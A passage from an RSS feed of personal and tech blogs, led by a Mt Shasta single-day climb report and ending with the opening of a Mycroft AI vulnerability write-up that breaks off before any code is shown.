&lt;p&gt;Around 8am we reached Lake Helen and that’s where my partner decided to call it, and we split. She decided to rest for a bit at lake Helen and then return. We had reach lake Helen a couple years before, so I felt she’ll be safe going down.&lt;/p&gt;

&lt;p&gt;I had heard that it takes about 5 hours from here to the top and I was worried that I’m among the last climbers going up. I had read that 12-1pm a good aim for a turnaround time. So I had only borderline enough time. But I was feeling good physically, and the weather that day was amazingly calm, according to the forecast and my observations, so I decided to go ahead and try for the summit.&lt;/p&gt;

&lt;p&gt;I was among the last people but I could see plenty of people going down, so I figured, that as long as I see other people on the mountain, I’d be safe.&lt;/p&gt;

&lt;h2 id="lake-helen-to-the-top-of-red-banks-thumb-rock"&gt;Lake Helen to the top of Red Banks, Thumb rock&lt;/h2&gt;

&lt;p&gt;After lake Helen the path became steeper. It was still quite cold and the snow was hard. I was able to use the existing steps in the snow and to to avoid using crampons for a while. This is where I also started feeling the altitude, and had to really pace myself. Anytime I went with an eager step for a while, I started feeling my heartbeat at the top of my head. To adjust, I adopted the “pole pole” method of slow but steady climbing, deep breathing, preferably inhaling through the nose, and frequent water, as needed.&lt;/p&gt;

&lt;p&gt;I had heard that this is a dangerous area, due to ice and rock fall, but it was still quite scary when I experienced it myself. About an hour after Helen, I started noticing occasional pieces of ice rolling down the hill, like bouncing balls. There were a bunch of them, and I didn’t want to get hit. Not only I had to be careful where I step, I also had to constantly keep looking up to anticipate the rockfall.&lt;/p&gt;

&lt;p&gt;These rocks can gather up quite a speed and they bounce off the icy slopes in random, unpredictable directions. Furthermore, they come from all directions. This is what the section looked like - a bowl. Coming up and to the right of the bowl, I had rocks coming down from all sides of the ball. Some of them were as big as a football. If you ask whether I mean an American football, or a soccer ball, I’d like to hear what’s the difference if you get hit by one going down about 50-60mph or more. It won’t be a pretty sight, and I had to avoid getting hit, even if it meant jumping to the side and losing balance.&lt;/p&gt;

&lt;p&gt;Luckily, I didn’t get hit, though I had to deflect a small piece of ice with my trekking pole.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta3.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;Two thirds of the way up, I was told “Put your crampons on, buddy” by a helpful gentleman, and I decided to heed the advice. I was past the worst rockfall area, so it seemed OK to stop there. In hindsight, I probably should’ve put the crampons on right after Helen. It would’ve been safer, and they don’t really weigh that much.&lt;/p&gt;

&lt;p&gt;Around 10:45 I reached Thumb rock at about 12,800 feet, above the main rockfall area and decided it’s a good time to get a well deserved break and have some food, while savoring the vierw. I also had a small amount of caffeine (25mg) which I usually avoid, and that gave me a bit of encouragement and energy.&lt;/p&gt;

&lt;p&gt;The views were already amazing and I was basking in them!&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta4.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;h2 id="red-banks-to-the-summit"&gt;Red banks to the summit&lt;/h2&gt;

&lt;p&gt;After red banks there is a small hill, and then the famous “Misery hill”. Whether from the excitement that I have a good chance of making it to the top, or from the rest and food, or from the caffeine, I didn’t feel any misery. I felt great. I was using my ice axe as a support and still going slowly due to altitude, but my pace was pretty consistent and steady, and I was really enjoying it. It was also sunny and warm day which also helped lift my spirits.&lt;/p&gt;

&lt;p&gt;Once I got to the top of Misery Hill, I could see the summit, and there was a bit of flatish section. That gave me an extra confidence boost. I also happened to meet up with the dude that passed me on Horse Camp, who was already coming down from the summit. He made it to the top in seven hours and ten minutes. That’s an excellent time. He had a smaller backpack but was older and had a potbelly. Respect!&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta5.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;There were still plenty of people there and I felt safe. Many of them were encouraging me on my way up, which made me extra excited.&lt;/p&gt;

&lt;p&gt;Right before the summit, a ranger was coming down on ski, and asked me for my permit. Seeing that I don’t have it super handy, he instead asked me for the price and the color of the paper and waved me off.&lt;/p&gt;

&lt;p&gt;I reached the top at 12:47 and was very ecstatic. There are still many people on the summit. I asked some of them for photos and I signed the book. I also took photos of some of them and some panoramas for myself.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta6.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;h2 id="going-down-and-glissading"&gt;Going down and Glissading&lt;/h2&gt;

&lt;p&gt;Going down was much easier as it required a lot less energy. Coming down Misery Hill, I tried glissading, a.k.a. sliding down on my butt. This required me to remove my crampons, as I read that having crampons while sliding might easily result in ankle injuries. When glissading though, I really had to use my ice axe to self arrest due to the snow softness. Occasionally, I had to alternate glissading with walking down whenever it seemed more prudent.&lt;/p&gt;

&lt;p&gt;The snow was getting quite soft at that time and just walking I was sinking in quite a bit. Without crampons, it often felt quite slippery on the slopes.&lt;/p&gt;

&lt;p&gt;By the time I reached the top of the Red Banks, I had gained some more confidence in glissading. I also got better at self arresting with the ice axe. I’ve watched some videos on how to do it, and it required pressing down the head of the ice axe with the shoulder while trying to also put a lot of the weight behind it. I had fun practicing that as it reminded me of some techniques in Brazilian Jiu Jitsu, when it’s necessary to put the weight on the opponent.&lt;/p&gt;

&lt;p&gt;From nearly the top of the Red Banks I glissaded down, in a single run, almost all the way down to lake Helen. That was so much fun, I felt like a little kid again :D&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta7.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;At Helen around 2:15, I called my partner and estimated that I’d be back to the trailhead around 4:30.&lt;/p&gt;

&lt;p&gt;By now the snow was getting really soft, and even butt-sliding was quite hard, especially given that the slope is less steep below Helen. There were also a lot of people going down or up there. It was super crowded.&lt;/p&gt;

&lt;p&gt;I was also wet from the sliding, as melted snow had gotten into my boots, and had soaked parts of my down jacket. But was really warm, so this only amounted to small discomfort.&lt;/p&gt;

&lt;p&gt;Getting back to Horse Camp around 3:45 I was finishing the last of my water. I had used 4L up until that point today. I filled up a Nalgene bottle, changed my socks with dry ones, and packed some more clothes away and continued back to the trailhead, which I reached at 4:38pm.&lt;/p&gt;

&lt;p&gt;Total time on the mountain - 12 hours and a half. I felt proud, and tired. We celebrated with a nice dinner and went to sleep early.&lt;/p&gt;

&lt;h2 id="what-would-i-do-different-ifwhen-i-climb-it-again"&gt;What would I do different if/when I climb it again&lt;/h2&gt;

&lt;p&gt;That day, the mountain allowed me to climb it, with the nice weather and conditions, but I didn’t do my best. Here are a few things I would do differently next time:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I would start earlier - around 3am.&lt;/li&gt;
  &lt;li&gt;I might carry slightly less extra clothes, especially if the forecast is as good as that day.&lt;/li&gt;
  &lt;li&gt;I would put a lot more sunscreen - I got burned on my face and my lips got broken.&lt;/li&gt;
  &lt;li&gt;I would put my crampons on at Lake Helen. This way I wouldn’t be forced to put them on under a heavy bombardment of falling rocks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is one of my favorite hikes that I’ve ever done, and the highest so far. I would really recommend it, and be happy to attempt it again.&lt;/p&gt;

&lt;h2 id="ps-two-years-later-aug-2020"&gt;P.S. Two years later (Aug 2020)&lt;/h2&gt;

&lt;p&gt;I did go again the next year 2019, but I wasn’t in as good condition and slowed down with the elevation. I did reach a few hundred feet from the peak, and that time my partner was able to summit instead. Mountains are never to be underestimated :P&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 14 Jun 2018 07:52:30 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/06/14/attempting-to-climb-mt-shasta-in-a-single-day</guid></item><item><title>Bay to Breakers 2018</title><link>https://faingezicht.com/photos/2018/06/14/bay-to-breakers-2018/</link><description>Out of all the weird San Francisco traditions, the whole "let's get drunk, dress up, and walk this race after the serious runners are done" one is one of my favorites. In the past, I have described the event to my friends as a city-wide &lt;a href="https://en.wikipedia.org/wiki/Dillo_Day"&gt;Dillo Day&lt;/a&gt;.

Last year I missed Bay to Breakers because it coincided with a work &lt;a href="/photos/2017/05/22/pdx/"&gt;trip to Portland&lt;/a&gt;, so I was glad to be there again this time.</description><author>Avy Faingezicht</author><pubDate>Thu, 14 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/06/14/bay-to-breakers-2018/</guid></item><item><title>Dating app scandal from India proves that you DO HAVE something to hide. Yes, YOU</title><link>https://stop.zona-m.net/2018/06/dating-app-scandal-from-india-proves-that-you-do-have-something-to-hide.-yes-you/</link><description>&lt;p&gt;The popular dating app Tinder was caught charging its users as much as three times more for the &lt;strong&gt;same&lt;/strong&gt; service, depending on the &lt;strong&gt;ages&lt;/strong&gt; of those users. What does this mean?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 13 Jun 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/dating-app-scandal-from-india-proves-that-you-do-have-something-to-hide.-yes-you/</guid></item><item><title>Twitter roast – Burger King – Pancake edition</title><link>https://yasha.solutions/twitter-roast-burger-king-pancake-edition/</link><description>I just woke to a post in some fb group with a mashup of the latest Burger King twitter roast and thought I should start documenting these… so I downloaded that…
Enjoy!
  When Burger King become Pancake King     Whataburger is not having it     Chili's siding with Whataburger</description><author>Yasha Solutions</author><pubDate>Wed, 13 Jun 2018 10:27:40 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/twitter-roast-burger-king-pancake-edition/</guid></item><item><title>GNU find on macOS</title><link>https://xenodium.com/gnu-find-on-macos</link><description>&lt;p&gt;At times, you may need GNU versions of command line utilities on macOS. For example, GNU find.&lt;/p&gt;
&lt;p&gt;As usual, Homebrew saves the day. Install with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install findutils
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unless you install with –with-default-names (I don't), GNU utilities will be prefixed with a &amp;quot;g&amp;quot;.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;gfind --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you need more, there are others:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install binutils
brew install diffutils
brew install ed
brew install findutils
brew install gawk
brew install gnu-indent
brew install gnu-sed
brew install gnu-tar
brew install gnu-which
brew install gnutls
brew install grep
brew install gzip
brew install screen
brew install watch
brew install wdiff --with-gettext
brew install wget
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 13 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gnu-find-on-macos</guid></item><item><title>PlantUML bookmarks</title><link>https://xenodium.com/plantuml-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://scripter.co/notes/plantuml"&gt;Collection of PlantUML snippets from Scripter.co&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://real-world-plantuml.com/"&gt;Real World PlantUML&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://crashedmind.github.io/PlantUMLHitchhikersGuide/"&gt;Welcome to The Hitchhiker’s Guide to PlantUML!&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 13 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/plantuml-bookmarks</guid></item><item><title>Big Sur</title><link>https://faingezicht.com/photos/2018/06/13/big_sur/</link><description>Many months ago, when my brother Max was visiting, Rodolfo and Ciara told us they had gotten a reservation at a site in Big Sur in the spring, and invited us to go camping with them. We were excited to join in.</description><author>Avy Faingezicht</author><pubDate>Wed, 13 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/06/13/big_sur/</guid></item><item><title>Custom Website Selection Colors</title><link>https://www.dannyguo.com/blog/custom-website-selection-colors</link><author>Danny Guo</author><pubDate>Wed, 13 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/custom-website-selection-colors</guid></item><item><title>The Tanzanian law lots of western politicians would love to copy</title><link>https://stop.zona-m.net/2018/06/the-tanzanian-law-lots-of-western-politicians-would-love-to-copy/</link><description>&lt;p&gt;The state-run Tanzania Communications Regulatory Authority (TCRA) just issued an order that lots of politicians in Europe, USA and generally the whole western &amp;ldquo;first world&amp;rdquo; would LOVE to be able to issue.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 12 Jun 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/the-tanzanian-law-lots-of-western-politicians-would-love-to-copy/</guid></item><item><title>Recent Concerns about Node.js Security</title><link>https://thomashunter.name/posts/2018-06-12-recent-concerns-about-node-js-security</link><author>Thomas Hunter II</author><pubDate>Tue, 12 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-06-12-recent-concerns-about-node-js-security</guid></item><item><title>Deploying a Flask Application on Ubuntu 16.04</title><link>https://www.wints.org/notes/2018.06.12/</link><description>&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;
I have a simple flask app that displays data from a sqlite3 database. Nothing fancy.&lt;/p&gt;
&lt;h4 id="tutorials"&gt;Tutorials &lt;a href="#tutorials"&gt;¶&lt;/a&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-serve-flask-applications-with-gunicorn-and-nginx-on-ubuntu-16-04"&gt;&lt;strong&gt;Serve Flask Apps with Gunicorn and Nginx&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-16-04"&gt;&lt;strong&gt;Setup Firewall on Ubuntu 16.04&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04"&gt;&lt;strong&gt;Setup SSL with LetsEncrypt on Ubuntu 16.04&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="the-pieces"&gt;The Pieces &lt;a href="#the-pieces"&gt;¶&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Based on searching online, the most battle-tested deployment tools right now seem to be:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://gunicorn.org/"&gt;&lt;strong&gt;Gunicorn&lt;/strong&gt;&lt;/a&gt; &amp;ndash; application server&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.freedesktop.org/wiki/Software/systemd/%22"&gt;&lt;strong&gt;Systemd&lt;/strong&gt;&lt;/a&gt; &amp;ndash; among other things, it can manage custom services (e.g. gunicorn server)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nginx.org/en/"&gt;&lt;strong&gt;Nginx&lt;/strong&gt;&lt;/a&gt; &amp;ndash; reverse proxy&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There were a few interesting alternatives (e.g. cherrypy, tornado, bjoern etc.) that could have replaced 1 or 2 of the components above. But lack beginner-friendly documentation and low number of Stack Overflow questions for these alternatives prevented me from trying these out. Maybe next project.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Tue, 12 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2018.06.12/</guid></item><item><title>Alternate data streams, the dark side of NTFS.</title><link>https://danielsada.tech/blog/ads-the-obscure-side-of-ntfs/</link><description>Have you ever had a hard drive which runs out of space while there is still space remaining? Have you ever wondered where that space goes? Let me show you a magic trick
First I&amp;rsquo;ll save a message in message.txt
Nothing here nothing there, I&amp;rsquo;ll save two secret messages the first one is a secret, the second one a big file of text. (but I could save a jpg or an exe).</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Tue, 12 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/ads-the-obscure-side-of-ntfs/</guid></item><item><title>Two dumb ideas: abandoning encrypted email and using phone numbers as account names</title><link>https://stop.zona-m.net/2018/06/two-dumb-ideas-abandoning-encrypted-email-and-using-phone-numbers-as-account-names/</link><description>&lt;p&gt;The text below is NOT mine. But I agree with pretty much everything it says, and it says things about email, instant messaging and online identity that everybody should know, here it goes.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 11 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/two-dumb-ideas-abandoning-encrypted-email-and-using-phone-numbers-as-account-names/</guid></item><item><title>Using GraalVM to run Native Java in AWS Lambda with Golang</title><link>/posts/2018-06-11-using-graalvm-to-run-native-java-in-aws-lambda-with-golang/</link><description>Originally appeared on Opsgenie Engineering Blog
 If you are deploying serverless applications in AWS Lambda and using Java, you are well aware of cold start problems. Cold start happens because of the way the Java Virtual Machine works, it kicks in JIT (Just-in-time), and it needs to “warm-up” like a car from the 80s. AWS Lambda caches containers for you, so when idle, it is paused and brought back online immediately as soon as a request arrives.</description><author>Mustafa Akın</author><pubDate>Mon, 11 Jun 2018 16:32:49 GMT</pubDate><guid isPermaLink="true">/posts/2018-06-11-using-graalvm-to-run-native-java-in-aws-lambda-with-golang/</guid></item><item><title>Revamping a legacy backend #3</title><link>https://www.umarniz.com/revamping-a-legacy-back-end-3/</link><description>Going to Production With an infrastructure as code for our server provisioning and a containerized…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Mon, 11 Jun 2018 10:06:01 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/revamping-a-legacy-back-end-3/</guid></item><item><title>Shortcomings of todays human-computer interaction</title><link>https://ciesie.com/post/shortcomings_of_human_computer_interaction/</link><description>&lt;p&gt;I have spent a lot of time in front of a computer. That&amp;rsquo;s because you can do a lot of amazing stuff
with it. I don&amp;rsquo;t think I enjoy the process that much though. Sometimes there is so much clicking and
pointing to do simple stuff. I don&amp;rsquo;t think I would code without using &lt;em&gt;VIM&lt;/em&gt; or at least adding &lt;em&gt;VIM&lt;/em&gt;
bindings to the text editor I&amp;rsquo;m using. I just can&amp;rsquo;t use mouse when I code. Coding is discrete.
Smallest unit of code is a letter. If you use the mouse to move the cursor in your text editor you
actually move over space that doesn&amp;rsquo;t interest you, like letters themselves. What you are actually
after are the spaces between letters. Using only keyboard puts you in this discrete space you are
after - with keyboard you can move exactly one letter at a time by adding, removing or moving over
a letter. &lt;em&gt;VIM&lt;/em&gt; bindings expand this by giving you motions, simplest being moving over words.
When you code, your tool is the keyboard. We all know how keyboard looks and what should it do&amp;hellip; do we?&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Mon, 11 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/shortcomings_of_human_computer_interaction/</guid></item><item><title>Why count lines of code?</title><link>https://boyter.org/posts/why-count-lines-of-code/</link><description>&lt;p&gt;A work colleague (let&amp;rsquo;s call him Owen as that&amp;rsquo;s his name) asked me the other day&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;I dont understand the problem space &lt;code&gt;scc&lt;/code&gt; et al solve. If you wanted to write a short post, i&amp;rsquo;d read and share the hell out of it. Basically, it seems like a heap of people can see the need for it, and I&amp;rsquo;m trying to understand it myself&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Owen is one of the more switched on people I know. As such if he is asking whats the point of tools such as scc, tokei, sloccount, cloc, loc and gocloc then I suspect quite a few other people are asking the same thing.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 11 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/why-count-lines-of-code/</guid></item><item><title>Getting "Zero Click" Remote Code Execution in Mycroft AI vocal assistant</title><link>https://appsec.space/posts/mycroft-ai-rce/</link><description>&lt;div class="featured-image"&gt;
                &lt;img src="/posts/mycroft-ai-rce/mycroft.png" /&gt;
            &lt;/div&gt;&lt;h2 class="headerLink" id="introduction"&gt;
    &lt;a class="header-mark" href="#introduction"&gt;&lt;/a&gt;1 Introduction&lt;/h2&gt;&lt;p&gt;During my journey contributing to open source I was working with my friend &lt;a href="https://github.com/portaloffreedom" rel="noopener noreferrer" target="_blank"&gt;Matteo De Carlo&lt;/a&gt; on an &lt;a href="https://git.covolunablu.org/portaloffreedom/plasma-mycroft-PKGBUILD" rel="noopener noreferrer" target="_blank"&gt;AUR Package&lt;/a&gt; of a really interesting project called &lt;a href="https://mycroft.ai" rel="noopener noreferrer" target="_blank"&gt;Mycroft AI&lt;/a&gt;. It&amp;rsquo;s an AI-powered vocal assistant started with a &lt;a href="https://www.kickstarter.com/projects/aiforeveryone/mycroft-an-open-source-artificial-intelligence-for" rel="noopener noreferrer" target="_blank"&gt;crowdfunding campaign&lt;/a&gt; in 2015 and a &lt;a href="https://www.indiegogo.com/projects/mycroft-mark-ii-the-open-voice-assistant#/" rel="noopener noreferrer" target="_blank"&gt;more recent one&lt;/a&gt; that allowed Mycroft to produce their Mark-I and Mark-II devices. It&amp;rsquo;s also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on &lt;a href="https://www.youtube.com/watch?v=6GHmzbXp_jY" rel="noopener noreferrer" target="_blank"&gt;Jaguar F-Type&lt;/a&gt; and &lt;a href="https://mycroft.ai/blog/mycroft-welcomes-jaguar-land-rover-new-investor/" rel="noopener noreferrer" target="_blank"&gt;Land Rover&lt;/a&gt;&lt;/p&gt;
&lt;h2 class="headerLink" id="digging-in-the-source-code"&gt;
    &lt;a class="header-mark" href="#digging-in-the-source-code"&gt;&lt;/a&gt;2 Digging in the source code&lt;/h2&gt;&lt;p&gt;While looking at the &lt;a href="https://github.com/MycroftAI/mycroft-core" rel="noopener noreferrer" target="_blank"&gt;source code&lt;/a&gt; I found an interesting point: &lt;a href="https://github.com/MycroftAI/mycroft-core/blob/1f4c98f29ceb6a7981474f1620441e43aa364d00/mycroft/messagebus/service/main.py#L28-L57" rel="noopener noreferrer" target="_blank"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;div class="code-block highlight is-open show-line-numbers  tw-group tw-my-2"&gt;
  &lt;div class="
    
    tw-flex 
    tw-flex-row
    tw-flex-1 
    tw-justify-between 
    tw-w-full tw-bg-bgColor-secondary
    "&gt;      
    &lt;button class="
        code-block-button
        tw-mx-2 
        tw-flex
        tw-flex-row
        tw-flex-1"&gt;
          &lt;div class="group-[.is-open]:tw-rotate-90 tw-transition-[transform] tw-duration-500 tw-ease-in-out print:!tw-hidden tw-w-min tw-h-min tw-my-1 tw-mx-1"&gt;&lt;svg class="icon" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"&gt;&lt;/svg&gt;&lt;/div&gt;
          &lt;p class="tw-select-none !tw-my-1"&gt;python&lt;/p&gt;
      &lt;/button&gt;

   &lt;div class="tw-flex"&gt;
      &lt;button class="
          line-number-button
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.show-line-numbers]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle line numbers"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"&gt;&lt;/svg&gt;&lt;/button&gt;

      &lt;button class="
          wrap-code-button
          tw-select-none 
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.is-wrap]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle code wrap"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"&gt;&lt;/svg&gt;&lt;/button&gt;
      
      &lt;button class="
          copy-code-button
          tw-select-none
          tw-mx-2 
          tw-hidden
          group-[.is-open]:tw-block
          hover:tw-text-fgColor-link 
          print:!tw-hidden" title="Copy code"&gt;
          &lt;span class="copy-icon tw-block"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"&gt;&lt;/svg&gt;&lt;/span&gt;
          &lt;span class="check-icon tw-hidden"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"&gt;&lt;/svg&gt;&lt;/span&gt;
      &lt;/button&gt;
        
      &lt;button class="
          tw-select-none 
          tw-mx-2 
          tw-block 
          group-[.is-open]:tw-hidden 
